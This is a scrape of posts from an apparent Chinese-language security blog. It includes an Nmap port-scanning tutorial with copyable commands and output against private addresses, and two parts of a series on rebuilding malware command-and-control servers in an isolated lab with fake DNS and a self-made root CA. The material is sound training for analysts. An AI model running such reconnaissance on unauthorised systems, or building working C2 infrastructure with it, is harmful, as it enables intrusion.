有意識地花錢跟時間投資自己。工作賺錢之餘，花錢去上付費的實體課程或線上課程，吸收業師整理好的結構化知識，讓自己較無痛進入該領域。\n就跟以前唸書上補習班一樣，補習班老師已經整理好課程的必考重點，你只要跟著老師學習即可。課程部分建議要聚焦，圍繞某個主題，例如滲透測試、程式設計等。\n五、設定一個具體目標 學習一定有困難碰壁的時候，學習同時設定具體目標，就很重要。讓自己從達成目標的過程中，獲得繼續前進的成就感。\n這個目標必須要是困難、不容易達到的。比方說，研究完一個領域知識，我要把研究成果投稿到國際知名研討會。如果投稿成功，就表示自己在這個領域研究有一定水準，能夠激勵自己繼續精進。\n更重要的是，目標同時間不能有太多個。同時太多個目標會分散你的精力，你一次只能專注一個目標。但現實是，過程中，會有很多「兔子」出現。\n所謂「兔子」就是你覺得好玩的東西、你同事老闆覺得好玩的東西，要你幫忙研究。這些都會分散你的注意力，也會花費你的寶貴時間，拖住你往設定目標前進的進度。\n要有定力，避免兔子打斷你朝目標邁進。\n六、持續比快跑重要 若是精進項目沒有時間壓力或是需要時間累積經驗，與其短時間衝刺，我更建議細水長流。文獻說，養成一個習慣需要 21 天。比方說，拿我自己當例子，為了精進英語口說與聽力，每個禮拜花一個小時，跟英語老師線上一對一練習，到現在也已經持續超過一年。\n有事就請假沒關係，但就是讓自己保持習慣，變成生活的一部分。\n另外，適當放鬆自己也很重要。有時工作忙了整天，透過有氧運動、禪修、打坐、看場電影或影集。晚上睡個好覺。讓自己從緊繃的狀態放鬆。\n人要是時常處於緊繃狀態，無法放鬆。最後，反而會讓自已疲勞累積，整個人大爆炸，很容易放棄了精進項目。\n七、跟同好一起學習 離開學校出了社會以後，就沒有同學跟你一起學習了。但是，同儕間的激勵與刺激，也是讓自己持續精進的要素。因為同儕的程度跟你差不多，會遇到的學習狀況，可能都差不多。別人的問題，可能也會是你的問題。\n那離開學校以後，要怎麼找到同學？我的建議是加入「社群」。比方說，你最近想學 Wordpress 架部落格。有看了 Wordpress 的書，也讀了網路上相關的文獻，但在架設部落格的過程中，仍然有許多疑問。\n參加Wordpress 社群活動，你就能拿著問題，禮貌地請教同好。較有經驗後，在社群中，也能透過自己幫助新手，教學相長下，對自己也很有幫助。\n透過同好的分享，也能刺激自己，幫助自己獲得更多 idea。\n八、有輸入也要有輸出 我自己是透過寫作部落格、做簡報公開分享研究成果，來強迫自己梳理知識。由於你要分享給別人聽，而且要讓別人聽得懂，你必須得比別人更深入多懂很多。\n過程中，怕被問倒，我會檢視簡報內容或文章中，是否有自己還不清楚的地方。若有，就去多查一些資料，讓自己準備好，分享前也比較不容易焦慮。\n而且我常有「直覺偏誤」，就是會覺得事物會按造自己所想的方式運作，但事實上並非如此。如何避免直覺偏誤，就是直接做實驗，透過客觀的實驗結果，來說服自己，修正既定印象。\n過程中，會體會到自己又更深入了解要精進的項目，也更進步。\n而且，寫作的文章或分享的簡報就是自己的作品，積累時間久了，也會很有成就感，也能做為作品集。\n九、結論 人生很長，世界變化很快。當你的競爭對手比你聰明，比你厲害，還比你認真，你還不持續精進自己嗎？\n","permalink":"https://hack543.com/8-practical-ways-on-self-improvement/","summary":"\u003cp\u003e你接觸了駭客技能一段時間，渴望繼續成長嗎？努力一段時間，卻覺得技能成長幅度有限嗎？\u003c/p\u003e\n\u003cp\u003e您好，我是Iok，興趣上常閱讀自我成長書籍，發現雖然是不同背景、時代的作品。但「道不同，不相為謀」，每位大師的精進看法卻意外地接近。\u003c/p\u003e","title":"如何成為駭客 - 8 個精進自己的實務建議"},{"content":"Nmap 是 the Network Mapper 的縮寫。是知名開源網路通訊埠掃描 (Port scan) 工具 。在滲透測試或紅隊演練的作業中，常做為第一步偵察網路環境的工具。\n功能強大，但是參數繁多，常使初學者不知道哪種情境需要應用什麼參數。接下來的文章，會列出 Nmap 9 個常見的掃描情境，提供給讀者參考。讓讀者可以直接針對情境，直接複製參數，即可應用。\n如果你對 Nmap 的掃描情境有興趣，就請你繼續看下去吧。\n請注意！以下 Nmap 指令操作禁止在非授權環境下執行！。可利用虛擬機器軟體練習，建立虛擬主機，以進行掃描。\n加快掃描速度 nmap -T4 192.168.0.1 在 Nmap Time and Performance 手冊裡提到，Nmap 有數個影響掃描速度的參數選項，但設定錯誤，有可能會交互影響，甚至可能讓掃描速度減慢。\nNmap 開發者貼心提供使用者一個Timing 掃描時間範本參數選項 -T，一次幫大家配好影響掃描速度的參數，堪稱是「掃描速度懶人包」。\n而數字越大代表掃描速度越快，分別如下：\nparanoid (0) sneaky (1) polite (2) normal (3) aggressive (4) insane (5) 若完全沒有設定，預設是使用 -T3 參數。手冊說如果網路環境穩定，參數建議調整為 -T4。-T4 禁止動態 TCP Port 掃描延遲超過 10 ms。而 -T5 選項對於掃描時間要求太過嚴苛，可能會失去準度 。雖掃描速度快，但仍不建議使用。而 -T0 ~ -T1 是避免 IDS 告警，但掃描速度頗慢，沒有特殊需求，不建議使用。\n-T4 代表\n--max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms 無論如何，一定要開啟 -T4 參數，增進掃描效率。\nPort Scan 技術 (-sS 與 -sT 參數) -sS 參數代表掃描技術是 TCP SYN Scan，若 Nmap 使用 root 權限執行，具備操控 raw socket 封包的權限， 僅送出 TCP SYN 封包進行測試。官方說明文件表示此種掃描技術執行效率較佳，但實測則不然。\n-sT 參數代表掃描技術是 TCP Connect Scan，掃描時會呼叫 作業系統的 System Call Connect API，以送出刺探封包，僅需普通使用者權限即可執行。官方說明文件表示在預設沒有 root 權限時會使用此掃描技術。\n經實測比較 -sS 與 -sT 掃描速度，掃描對象是 192.168.0.1 的 TCP Port 1 ~ 65535 ，帶 -sT 參數的 Nmap 掃描，約 35 秒掃描完畢。\n$ time nmap -T4 -sT -p T:1-65535 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-05-02 11:36 CST Nmap scan report for 192.168.0.1 Host is up (0.0048s latency). Not shown: 39528 closed ports, 26001 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2000/tcp open cisco-sccp 5060/tcp open sip Nmap done: 1 IP address (1 host up) scanned in 35.63 seconds 而帶 -sS 參數的 Nmap 掃描，卻要花到超過 4000 秒，才掃描完畢。建議使用 -sT 參數進行掃描。\n$ sudo time nmap -T4 -sS -p T:1-65535 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-05-02 11:38 CST Stats: 0:18:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 27.42% done; ETC: 12:44 (0:48:00 remaining) Nmap scan report for 192.168.0.1 Host is up (0.012s latency). Not shown: 39526 closed ports, 26005 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 4232.79 seconds 列舉開啟服務的詳細版本 $ nmap -sV -T4 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 14:47 CST Nmap scan report for 192.168.0.1 Host is up (0.021s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 3389/tcp open ms-wbt-server Microsoft Terminal Service 8080/tcp open http Apache httpd Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows 開啟 -sV 參數時，當 Nmap 掃描到服務通訊埠開啟時，會再進一步查詢內建的nmap-service-probes 資料庫，再多送出幾個刺探封包，想辦法從回傳的封包資料，去判斷開啟的服務與 Banner。而查詢資料庫的深度會由 --version-intensity 參數決定，範圍是 0 ~ 9，預設是 7。\n建議查詢資料庫深度不用指定，使用預設參數即可。\n確認目標網段內有哪些機器活著 一開始想針對大範圍網段，確認同網段的主機哪些有開機，適合使用「Ping scan」，參數是「-sn」。 如此一來，就不會執行詳細的通訊埠掃描。僅確認同網段主機是否開機。\n$ nmap -T4 -sn 192.168.1.0/24 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 15:37 CST Nmap scan report for 192.168.1.1 Host is up (0.12s latency). Nmap scan report for 192.168.1.3 Host is up (0.14s latency). Nmap scan report for 192.168.1.5 Host is up (0.061s latency). Nmap scan report for 192.168.1.100 Host is up (0.00021s latency). Nmap done: 256 IP addresses (4 hosts up) scanned in 4.66 seconds 掃描 1-65535 Port Nmap 為了掃描效率，只會掃描常見的 1000 個 Port。怕遺漏的話，可以指定掃描參數 -p 1-65535 ，如此一來會從 Port 1 掃描到 Port 65535。\n$ nmap -T4 -sT -p 1-65535 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 16:04 CST Nmap scan report for 192.168.0.1 Host is up (0.044s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3389/tcp open ms-wbt-server 若要限定是 TCP Port，則可加上T: 前置。比方說， -p T:1-65535。\n$ nmap -T4 -sT -p T:1-65535 192.168.0.1 不 Ping Probes 直接掃描 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 10:45 CST Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 2.00 seconds 如果你看到以上的訊息，就表示防火牆阻擋了 Nmap 主機存活的刺探封包。\nNmap 掃描之前，會向 TCP Port 80 與 443 發送 SYN 封包。並藉由回應的 ACK 封包或 ICMP 封包 (Destination Port unreachable) ，確認主機是否存在。\n若是主機前端的防火牆直接拒絕回應 TCP Port 80 與 443 的 SYN 封包，就會得到上面訊息的回應。此時，若讀者非常確定主機有上線，可以下 -Pn 參數。直接請 Nmap 跳過存活刺探步驟，直接進行掃描。\n$ nmap -T4 -Pn 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 11:13 CST Nmap scan report for 192.168.0.1 Host is up (0.0012s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp filtered http 443/tcp filtered https Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds Nmap 掃描結果顯示主機的 TCP Port 80 與 Port 443 是有防火牆在過濾封包的。\n防火牆保護下的通訊埠掃描 Nmap 預設即能探尋主機前端的防火牆狀態。但是會依照防火牆規則的設定方式，分為白名單規則與黑名單規則。\n白名單規則的定義是，預設全部連線阻擋(Deny ALL)，僅開放部份允許。黑名單規則的定亦是，預設全部連線允許(Allow ALL)，僅開放部份阻擋。實體防火牆設備，出廠預設都是 Deny ALL。讓使用者再選擇開放允許的連線埠。\n白名單防火牆規則 防火牆僅用白名單方式，開放 TCP Port 3306、3389，預設阻擋其他的Port 。所以也一併阻擋了 Nmap 向 TCP Port 80, Port 443 發送的主機存活刺探封包。必須得加上 -Pn 參數進行掃描。\n但主機上未開啟 TCP Port 3389、3306 的服務。Nmap 掃描結果如下：\n$ nmap -T4 -Pn 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 15:02 CST Nmap scan report for 192.168.0.1 Host is up (0.00022s latency). Not shown: 998 filtered ports PORT STATE SERVICE 3306/tcp closed mysql 3389/tcp closed ms-wbt-server Nmap done: 1 IP address (1 host up) scanned in 3.94 seconds 「Not shown: 998 filtered ports」訊息 ，表示向主機 其他的 998 個 Port 的連線，全部被防火牆過濾了。防火牆僅開放 Port 3306 與 Port 3389 的連線。但是主機上未開啟TCP Port 3389、3306 的服務，STATE 顯示 closed。\n主機上有開啟 TCP Port 3389、3306 的情境，Nmap 掃描結果如下：\n$ nmap -T4 -Pn 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 15:11 CST Nmap scan report for 192.168.0.1 Host is up (0.00039s latency). Not shown: 998 filtered ports PORT STATE SERVICE 3306/tcp open mysql 3389/tcp open ms-wbt-server Nmap done: 1 IP address (1 host up) scanned in 4.88 seconds STATE 顯示 Open 表示，防火牆有開放 TCP Port 3306 與 TCP Port 3389。而且主機上也有開啟 TCP Port 3389 與 Port 3306 的服務，STATE 顯示 open。\n黑名單防火牆規則 若防火牆是黑名單規則，預設允許全部，但阻擋 TCP Port 3306 與 TCP Port 3389的連線，則會出現以下掃描結果。\n$ nmap -T4 -Pn 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-04-25 15:19 CST Nmap scan report for 192.168.0.1 Host is up (0.00018s latency). Not shown: 998 closed ports PORT STATE SERVICE 3306/tcp filtered mysql 3389/tcp filtered ms-wbt-server Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds 表示 TCP Port 3306 與 TCP Port 3389 的連線，防火牆有過濾規則，STATE 顯示 filtered。「Not shown: 998 closed ports」訊息，代表其他 998 個 Port 均關閉，沒有任何服務。\n猜測檢測目標的作業系統版本 以 Connect 模式 (-sT) 去猜測檢測目標的作業系統版本，由於 TCP/IP fingerprinting (for OS scan，參數 -O) 需要以 root 權限執行，故執行時使用 sudo\n$ sudo nmap -T4 -sT -O 192.168.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2021-05-02 11:00 CST Nmap scan report for 192.168.0.1 Host is up (0.013s latency). Not shown: 568 closed ports, 428 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.15 - 2.6.26 (likely embedded) Network Distance: 2 hops OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.60 seconds OS details 欄位就是 猜測為檢測目標是執行 Linux Kernel 2.6.15 - 2.6.26 版本。由於 Nmap 是從刺探封包的回應與開啟的服務，去猜測檢測目標的作業系統版本，所以無法得知是執行哪一個 Linux Distribution，頂多只能分辨出 Linux 或 Windows 作業系統的差別。\n掃描結果輸出成 TXT 與 XML -oN \u0026lt;logfile\u0026gt; 參數可以將掃描結果，同時以純文字格式，輸出到 logfile 檔案與螢幕上。\n$ nmap -T4 -sT 192.168.0.1 -oN nmap.log Starting Nmap 7.01 ( https://nmap.org ) at 2021-05-02 16:00 CST Nmap scan report for 192.168.0.1 Host is up (0.0027s latency). Not shown: 568 closed ports, 428 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds 觀察 nmap.log 內容，為純文字格式的掃描結果檔。\n$ cat nmap.log # Nmap 7.01 scan initiated Fri May 2 16:00:31 2021 as: nmap -T4 -sT -oN nmap.log 192.168.0.1 Nmap scan report for 192.168.0.1 Host is up (0.0027s latency). Not shown: 568 closed ports, 428 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds # Nmap done at Fri May 2 16:00:39 2021 -- 1 IP address (1 host up) scanned in 8.34 seconds -oX \u0026lt;logfile\u0026gt; 參數可以將掃描結果，以 XML 格式輸出到 logfile 檔案中，而螢幕上則維持純文字輸出。\n$ nmap -T4 -sT 192.168.0.1 -oX nmap-log.xml Starting Nmap 7.01 ( https://nmap.org ) at 2021-05-02 16:09 CST Nmap scan report for 192.168.0.1 Host is up (0.0035s latency). Not shown: 568 closed ports, 428 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds 觀察 nmap-log.xml 內容，為 xml 格式的掃描結果檔。很適合完成掃描後，用程式剖析 xml 格式的掃描結果檔。\n$ cat namp-log.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE nmaprun\u0026gt; \u0026lt;?xml-stylesheet href=\u0026#34;file:///usr/bin/../share/nmap/nmap.xsl\u0026#34; type=\u0026#34;text/xsl\u0026#34;?\u0026gt; \u0026lt;!-- Nmap 7.01 scan initiated Fri May 2 16:09:39 2021 as: nmap -T4 -sT -oX nmap-log.xml 192.168.0.1 --\u0026gt; \u0026lt;nmaprun scanner=\u0026#34;nmap\u0026#34; args=\u0026#34;nmap -T4 -sT -oX nmap-log.xml 192.168.0.1\u0026#34; start=\u0026#34;162321234\u0026#34; startstr=\u0026#34;Fri May 2 16:09:39 2021\u0026#34; version=\u0026#34;7.01\u0026#34; xmloutputversion=\u0026#34;1.04\u0026#34;\u0026gt; \u0026lt;scaninfo type=\u0026#34;connect\u0026#34; protocol=\u0026#34;tcp\u0026#34; numservices=\u0026#34;1000\u0026#34; services=\u0026#34;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,1,... ...[redacted].. 62078,63331,64623,64680,65000,65129,65389\u0026#34;/\u0026gt; \u0026lt;verbose level=\u0026#34;0\u0026#34;/\u0026gt; \u0026lt;debugging level=\u0026#34;0\u0026#34;/\u0026gt; \u0026lt;host starttime=\u0026#34;162321234\u0026#34; endtime=\u0026#34;162321244\u0026#34;\u0026gt;\u0026lt;status state=\u0026#34;up\u0026#34; reason=\u0026#34;syn-ack\u0026#34; reason_ttl=\u0026#34;0\u0026#34;/\u0026gt; \u0026lt;address addr=\u0026#34;192.168.0.1\u0026#34; addrtype=\u0026#34;ipv4\u0026#34;/\u0026gt; \u0026lt;hostnames\u0026gt; \u0026lt;/hostnames\u0026gt; \u0026lt;ports\u0026gt;\u0026lt;extraports state=\u0026#34;closed\u0026#34; count=\u0026#34;568\u0026#34;\u0026gt; \u0026lt;extrareasons reason=\u0026#34;conn-refused\u0026#34; count=\u0026#34;568\u0026#34;/\u0026gt; \u0026lt;/extraports\u0026gt; \u0026lt;extraports state=\u0026#34;filtered\u0026#34; count=\u0026#34;428\u0026#34;\u0026gt; \u0026lt;extrareasons reason=\u0026#34;no-responses\u0026#34; count=\u0026#34;428\u0026#34;/\u0026gt; \u0026lt;/extraports\u0026gt; \u0026lt;port protocol=\u0026#34;tcp\u0026#34; portid=\u0026#34;22\u0026#34;\u0026gt;\u0026lt;state state=\u0026#34;open\u0026#34; reason=\u0026#34;syn-ack\u0026#34; reason_ttl=\u0026#34;0\u0026#34;/\u0026gt;\u0026lt;service name=\u0026#34;ssh\u0026#34; method=\u0026#34;table\u0026#34; conf=\u0026#34;3\u0026#34;/\u0026gt;\u0026lt;/port\u0026gt; \u0026lt;port protocol=\u0026#34;tcp\u0026#34; portid=\u0026#34;80\u0026#34;\u0026gt;\u0026lt;state state=\u0026#34;open\u0026#34; reason=\u0026#34;syn-ack\u0026#34; reason_ttl=\u0026#34;0\u0026#34;/\u0026gt;\u0026lt;service name=\u0026#34;http\u0026#34; method=\u0026#34;table\u0026#34; conf=\u0026#34;3\u0026#34;/\u0026gt;\u0026lt;/port\u0026gt; \u0026lt;port protocol=\u0026#34;tcp\u0026#34; portid=\u0026#34;139\u0026#34;\u0026gt;\u0026lt;state state=\u0026#34;open\u0026#34; reason=\u0026#34;syn-ack\u0026#34; reason_ttl=\u0026#34;0\u0026#34;/\u0026gt;\u0026lt;service name=\u0026#34;netbios-ssn\u0026#34; method=\u0026#34;table\u0026#34; conf=\u0026#34;3\u0026#34;/\u0026gt;\u0026lt;/port\u0026gt; \u0026lt;port protocol=\u0026#34;tcp\u0026#34; portid=\u0026#34;445\u0026#34;\u0026gt;\u0026lt;state state=\u0026#34;open\u0026#34; reason=\u0026#34;syn-ack\u0026#34; reason_ttl=\u0026#34;0\u0026#34;/\u0026gt;\u0026lt;service name=\u0026#34;microsoft-ds\u0026#34; method=\u0026#34;table\u0026#34; conf=\u0026#34;3\u0026#34;/\u0026gt;\u0026lt;/port\u0026gt; \u0026lt;/ports\u0026gt; \u0026lt;times srtt=\u0026#34;3484\u0026#34; rttvar=\u0026#34;814\u0026#34; to=\u0026#34;100000\u0026#34;/\u0026gt; \u0026lt;/host\u0026gt; \u0026lt;runstats\u0026gt;\u0026lt;finished time=\u0026#34;1620374981\u0026#34; timestr=\u0026#34;Fri May 2 16:09:41 2021\u0026#34; elapsed=\u0026#34;2.11\u0026#34; summary=\u0026#34;Nmap done at Fri May 2 16:09:41 2021; 1 IP address (1 host up) scanned in 2.11 seconds\u0026#34; exit=\u0026#34;success\u0026#34;/\u0026gt;\u0026lt;hosts up=\u0026#34;1\u0026#34; down=\u0026#34;0\u0026#34; total=\u0026#34;1\u0026#34;/\u0026gt; \u0026lt;/runstats\u0026gt; \u0026lt;/nmaprun\u0026gt; 多個參數一次滿足 以上是針對 Nmap 單一選項的說明。但實務上，針對單一目標主機，我通常會一次輸入多個參數，讓 Nmap 慢慢列舉開啟的通訊埠、服務類型與執行 Default 類型的 NSE Script ，以達成資訊蒐集目的。\n$ nmap -T4 -sT -p 1-65535 -r -sC -sV 192.168.0.1 -T4、-sT 、-p、-sV 的參數說明，在前面已有介紹。而 -sC 是要執行 Default 類型的 NSE Script，而 Default 類型的 NSE Script 通常以資訊蒐集為主，較不具破壞性，細節說明請參照 Nmap NSE 文件說明。\n-r 參數是請 Nmap 循序掃 Port，這參數是方便用網路封包側錄軟體 wireshark 監控目前的掃 Port 進度。\n輸入以上的參數組合，Nmap 需要一段不短的時間執行，若想要加快速度，得到目標主機所開啟的通訊埠。\n可參考我另外一篇文章「掃port 最速工具軟體– RustScan」。\n","permalink":"https://hack543.com/nmap-tutorial/","summary":"\u003cp\u003eNmap 是 the Network Mapper 的縮寫。是知名開源網路通訊埠掃描 (Port scan) 工具 。在滲透測試或紅隊演練的作業中，常做為第一步偵察網路環境的工具。\u003c/p\u003e\n\u003cp\u003e功能強大，但是參數繁多，常使初學者不知道哪種情境需要應用什麼參數。接下來的文章，會列出 Nmap 9 個常見的掃描情境，提供給讀者參考。讓讀者可以直接針對情境，直接複製參數，即可應用。\u003c/p\u003e","title":"9 個常見的 Nmap 通訊埠掃描情境"},{"content":"當你面對惡意程式諸多繁複功能，好不容易從組合語言萃取出 C2 伺服器程式連線協定。接下來，開始寫程式了。我根據過往經驗，歸納彙整出 3 個複刻 C2 的開發原則建議，分別是「選擇 Scripting 類型的程式語言」、「最小可運行原則」、「由簡入繁」，提供給讀者參考。\n選擇 Scripting 類型的程式語言 Scripting 類型的程式語言特色與優勢如下 3 點：\n程式執行不需編譯，透過直譯器解析程式碼後，輸出執行結果。 程式碼短。 擴充模組多。 像 PHP、Perl 、Python或 Ruby 都是 Scripting 語言。在複刻 C2 伺服器程式上，能方便我們引用既有的程式模組，擴充程式功能。縮短程式碼行數，而且因為不用編譯，撰寫速度較快，容易快速修改。\n你可以選擇你最熟悉的語言來撰寫程式碼，若你心無定見，我誠心建議使用 Python 3。支援模組多，不用重新發明輪子。\n雖然程式執行效率劣於編譯類型的程式語言，但程式碼撰寫量與大量支援模組的優點，而且程式執行效率不是複刻 C2 優先要考量的項目。複刻 C2 建議選擇 Scripting 類型的程式語言。\n最小可運行原則 駭客原版的 C2 伺服器程式，一定是功能完善的程式。但是，在一開始複刻 C2 伺服器程式時，野心不要太大。把握「最小可運行原則」。因為複刻 版本的 C2 程式，只有讀者一個人使用，不用考慮多人連線的問題。能用 I/O multiplexing 撰寫的程式碼邏輯，就不要寫多執行緒。\nC2 程式需要運用到多 CPU 的資源時候，也建議先使用 Thread，再用 fork()。如此一來，不用考慮行程間溝通(IPC) 的問題。直接用 Queue 模組就能進行多執行緒之間的資料交換作業。\n不用考慮效能，也不用考慮全部的功能。先只要會動就好。\n由簡入繁 惡意程式可能有數十個可供駭客遠端操控功能，這些功能相當複雜，會花大量的時間撰寫程式碼與測試，比方說桌面錄影、開麥克風錄音、遠端桌面、桌面截圖與鍵盤側錄等功能。\n我的建議是不要一開始就先實做這些複雜功能。給自己 quick win，先從簡單的C2 功能開始複刻，比方說回傳系統資訊，檔案上傳，檔案下載等。\n總結 3 個複刻 C2 的開發建議，分別是「選擇 Scripting 類型的程式語言」、「最小可運行原則」、「由簡入繁」。實做 C2 伺服器的目的，不是要重構 C2 程式，複刻版本的 C2 程式的執行效率不是首要考量的選項。Scripting 類型的程式語言程式碼短、擴充模組多，雖然執行效率較差，但其優點足以彌補其缺點。\n而「最小可運行原則」與「由簡入繁」的開發原則是要告訴讀者，從最簡單的 C2 功能開始，完成後再實做較複雜的功能。\n希望這篇開發原則建議可以幫助到你，有任何問題，歡迎在下方留言告訴我。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-14/","summary":"\u003cp\u003e當你面對惡意程式諸多繁複功能，好不容易從組合語言萃取出 C2 伺服器程式連線協定。接下來，開始寫程式了。我根據過往經驗，歸納彙整出 3 個複刻 C2 的開發原則建議，分別是「選擇 Scripting 類型的程式語言」、「最小可運行原則」、「由簡入繁」，提供給讀者參考。\u003c/p\u003e","title":"C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議"},{"content":"準備來撰寫 C2 程式囉，但在寫程式之前，要建置合適的開發與除錯環境，方便一邊複刻 C2 程式，一邊驗證與除錯。接下來，會分享 3 個複刻 Command and Control Server 的程式開發環境的設定建議。\n使用虛擬機器軟體建置測試主機與作業系統 建議使用虛擬機器軟體(Virtual Machine Manager)，例如 Oracle VM VirtualBox、VMWare Workstation等。分別建置一台模擬 C2 伺服器端與客戶端 (運行惡意程式) 的虛擬機器(VM)。\nVM 自成一個虛擬內網，僅讓 C2 伺服器與客戶端 VM能夠互連，虛擬內網禁止連線至 Internet，例如 VirtualBox 的網卡類型選擇 「Internal Network 」，就能達成虛擬內網效果。\n而C2 伺服器作業系統建議使用 Ubuntu Linux，而客戶端主機，視惡意程式運行所需環境，安裝 Windows 或 Linux 作業系統。\n使用 VM 建置測試主機有許多好處。除了僅需調整虛擬機器的網卡設定，就能輕鬆隔出虛擬內網。另外，虛擬機器也有快照功能，能拍下主機的運行狀態。依開發需求，建立多個快照點後，可使用還原快照功能，快速回到先前主機未受影響狀態。\n此外，也能依照開發需求，利用 clone 功能，快速大量複製測試主機。\n使用輕量級 DNS 軟體 (dnsmasq) 架設 Fake DNS 服務 有時惡意程式會連線至指定特定 C2 網域名稱 (Domain Name)，但我們不希望連線至 Internet 上駭客掌控的 C2 伺服器。此時，可以架設 Fake DNS 服務，去欺騙惡意程式，讓它轉連接至我們指定的VM 虛擬內網 IP。\nFake DNS 服務用途就是對應 C2 網域名稱與 VM 虛擬內網IP。舉例來說，惡意程式會連線到 c2.domain.com。\n在 Fake DNS 服務加上一筆 c2.domain.com 的對應設定，如下。表示這個 domain 是對應到 VM 虛擬內網IP (192.168.100.1)。\nc2.domain.com 192.168.100.1 安裝輕量級的 DNS 伺服器軟體，例如 dnsmasq，架設 Fake DNS 服務。使用以下指令，可運行 dnsmasq 在 UDP Port 53 上，並設定將c2.domain.com 對應到 192.168.100.1 的 IP。\n# 停止 Ubuntu 預設啟用的 DNS 服務 $ sudo systemctl stop systemd-resolved.service 設定本機使用的 DNS 伺服器 IP，編輯 /etc/resolv.conf 檔案。\nnameserver 127.0.0.1 啟動 dnsmasq。\n$ sudo dnsmasq --no-daemon -q -p 53 --log-queries --no-hosts --no-resolv --address=/c2.domain.com/192.168.100.1 dnsmasq: started, version 2.75 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dnsmasq: cleared cache dnsmasq: query[A] c2.domain.com from 127.0.0.1 dnsmasq: config c2.domain.com is 192.168.100.1 架設完畢，使用 dig 或 nslookup 指令進行測試。\n$ nslookup c2.domain.com Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: Name: c2.domain.com Address: 192.168.100.1 驗證結束，完成 Fake DNS 服務架設。\n自建根憑證 (Root Certificate) 簽發 C2 網域 SSL 憑證 在 SSL 憑證機制中，根憑證(Root Certificate，簡稱 Root CA) 就像是第三方公證人角色，負責驗證拜訪的 SSL 網域憑證的有效性。不管是 Windows 或是 Linux 系統已有內建許多張根憑證。\n在複刻 C2 程式過程中，若確認惡意程式網路連線，是使用 HTTP 與 SSL 通訊協定。會需要進一步模擬 HTTPS 伺服器，並匯入自簽章(Self-Signed)的 SSL 憑證至網頁伺服器。\n此時，為了避免自簽章 SSL 憑證，造成連線失敗。可利用 openssl 指令創建一個根憑證，並利用自建根憑證，來簽發 C2 網域的 SSL憑證。\n步驟摘要如下：\n透過 openssl 指令創建 Root CA (Self-signed Root CA) 使用此 Root CA 的私鑰去簽發 C2 網域的憑證， 將此 Root CA 的憑證， 匯入做為客戶端的分析電腦中。 如此一來，自簽的 C2 網域憑證，就會被分析電腦認定是有效 SSL 憑證。openssl 指令可參考 